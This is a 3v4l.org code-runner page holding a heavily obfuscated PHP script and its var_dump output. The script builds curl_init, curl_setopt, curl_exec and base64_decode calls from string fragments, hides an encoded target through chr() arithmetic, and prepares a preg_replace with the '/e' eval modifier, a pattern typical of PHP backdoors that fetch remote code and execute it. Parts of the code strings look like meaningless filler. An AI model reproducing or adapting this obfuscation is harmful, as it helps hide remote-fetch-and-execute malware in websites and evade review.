3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $vars = array( 'implode', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg' . '_replace', 'preg' . '_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23 ); //chr[0] = $vars[2][0] = $vars[6][0] = 'c'; //$vars[15][0] = $vars[15][1]; //$vars[15][1] = $vars[11][5]; //$vars[5][0] = $vars[5][2] = $vars[15][3] = $vars[15][8] = $vars[15][12] = $vars[13][2] = $vars[14][2] = "e"; //$vars[16] = ($vars[17] = "/" . $vars[17]) ? ($vars[17]) : 0; //$vars[16][4] = $vars[16][5] = '.'; //$vars[16].= $vars[17]; //$vars[16][11] = ''; //implode = $vars[0]; function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", $vars[14]( "/[\D]+/", $vars[13]( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],' . strtoupper($vars[2] . $vars[9] . "_" . $vars[10]) . ' , 1<<5 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],' . strtoupper($vars[2] . $vars[9] . "_" . strrev($vars[11])) . ' , 2>>1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); //$vars[18] = $vars[0] = "array" . "_"; //$vars[0].= 'array_push'; //$vars[18].= 'array_map'; $vars[0] = array_push($vars, 'array_push') - 1; $i = $q = 0; var_dump($vars); die(); while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, $vars[2] . "_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; $vars[13]($vars[16], $ { $vars[16][3] } [0 + $i] . $x[5], $vars[17]); $i++; } echo ($zvars);
based on ErlMk
Output for 4.3.0 - 7.2.0
array(29) { [0]=> int(28) [1]=> string(3) "chr" [2]=> string(4) "curl" [3]=> string(4) "init" [4]=> string(6) "setopt" [5]=> string(4) "exec" [6]=> string(5) "close" [7]=> string(10) "strtoupper" [8]=> string(6) "strrev" [9]=> string(3) "opt" [10]=> string(7) "timeout" [11]=> string(14) "refsnartnruter" [12]=> string(1) "_" [13]=> string(12) "preg_replace" [14]=> string(10) "preg_split" [15]=> string(13) "base64_decode" [16]=> string(11) "/mix../mixe" [17]=> string(6) "/mixed" [18]=> string(9) "array_map" [19]=> string(7) "implode" [20]=> int(3) [21]=> int(5) [22]=> int(7) [23]=> int(11) [24]=> int(13) [25]=> int(17) [26]=> int(19) [27]=> int(23) [28]=> string(10) "array_push" }